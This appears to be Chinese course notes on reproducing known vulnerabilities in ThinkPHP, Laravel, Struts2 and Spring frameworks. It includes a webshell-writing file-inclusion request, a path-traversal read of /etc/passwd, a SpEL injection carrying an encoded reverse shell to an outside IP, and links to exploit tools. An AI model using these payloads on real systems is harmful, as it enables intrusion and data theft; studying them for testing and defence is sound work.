服务攻防-开发框架安全&ThinkPHP&Laravel&SpringBoot&Struts2&SpringCloud&复现

知识点:

1、PHP-框架安全-Thinkphp&Laravel

2、J2EE-框架安全-SpringBoot&Struts2

一、演示案例-服务攻防-PHP-框架安全-ThinkPHP&Laravel

ThinkPHP

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。

综合工具:武器库-Thinkphp专检(3-6版本)

下载地址:https://www.one-fox.cn/th/index.html

1、版本6.X文件包含

在其6.0.13版本及以前

bash 复制代码
/?+config-create+/&lang=../../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+shell.php


2、版本5.X命令执行

5.0.23以前的版本,5.0.22/5.1.29等。

Laravel

Laravel是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)

CVE-2021-3129 RCE

影响版本:Laravel <= 8.4.2

利用工具:https://github.com/zhzyker/CVE-2021-3129


利用工具:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

二、演示案例-服务攻防-J2EE-框架安全-Struts2&Spring

Struts2

Apache Struts2是一个流行的开发Web应用框架,用于开发JavaEE应用。

利用工具:https://github.com/abc123info/Struts2VulsScanTools



Spring

1、Spring-Core-RCE(CVE-2022-22965)

存在于Spring框架以及衍生的框架中,并JDK9.0及以上版本会受到影响。

利用工具:https://github.com/wjl110/CVE-2022-22965_Spring_Core_RCE

2、Spring Boot目录遍历(CVE-2021-21234)

Spring-boot-actuator-logview 0.2.13之前版本存在路径遍历漏洞,攻击者可通过该缺陷读取系统任意文件。

bash 复制代码
/manage/log/view?filename=etc/passwd&base=../../../../../../

3、Spring Cloud Function Spel表达式注入 (CVE-2022-22963)

Spring Cloud Function提供了一个通用的模型,用于在各种平台上部署基于函数的软件,包括像Amazon AWS Lambda这样的 FaaS(函数即服务,function as a service)平台。

影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

文章参考:https://developer.aliyun.com/article/1160011

bash 复制代码
POST:/functionRouter
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
123





4、Spring Cloud Gateway命令执行 (CVE-2022-22947)

文章参考:https://cloud.tencent.com/developer/article/2164533

Spring Cloud GatewaySpring中的一个API网关。

影响版本:Spring Cloud Gateway 3.1.x < 3.1.1、Spring Cloud Gateway 3.0.x < 3.0.7

其他旧的、不受支持的Spring Cloud Gateway 版本

手工复现参考:https://cloud.tencent.com/developer/article/2164533

推荐使用综合CVE利用工具

5、监控配置不当利用

参考文章:https://superhero.blog.csdn.net/article/details/147804787?spm=1011.2415.3001.5331

6、综合CVE利用工具

https://github.com/0x727/SpringBootExploit
https://github.com/13exp/SpringBoot-Scan-GUI

相关推荐
JerrySir1 小时前
`spring.threads.virtual.enabled=true`:用三类负载定位等待、争用与拒绝
java·spring boot
尚早立志1 小时前
Spring Boot 之 BeanDefinitionLoader 详解
java·spring boot·后端
济*沧*海1 小时前
创建springboot项目时会出现注释乱码情况
java·spring boot·后端
卓怡学长1 小时前
w268基于springboot + vue 物流系统
java·数据库·vue.js·spring boot·spring·intellij-idea
ACGkaka_2 小时前
Spring Boot 实战(四十二):集成 Spring AI 六大场景
人工智能·spring boot·spring
Listen·Rain16 小时前
提示词和提示词模板
java·人工智能·spring boot
卓怡学长18 小时前
w269基于spring boot + vue 候鸟监测数据管理系统
java·数据库·spring boot·spring·intellij-idea
孫治AllenSun18 小时前
【MDC】使用 MDC 封装一个 LogMdcUtil 工具类
java·spring boot·后端
暗冰ཏོ1 天前
Spring Boot + Vue3 订单支付模块技术实现:支付单、回调验签、幂等处理与余额扣减
前端·spring boot·后端·vue·微信支付·支付宝支付
ACGkaka_1 天前
Spring Boot 实战(四十一):集成 BPMN(Flowable+bpmn-js)
java·spring boot·后端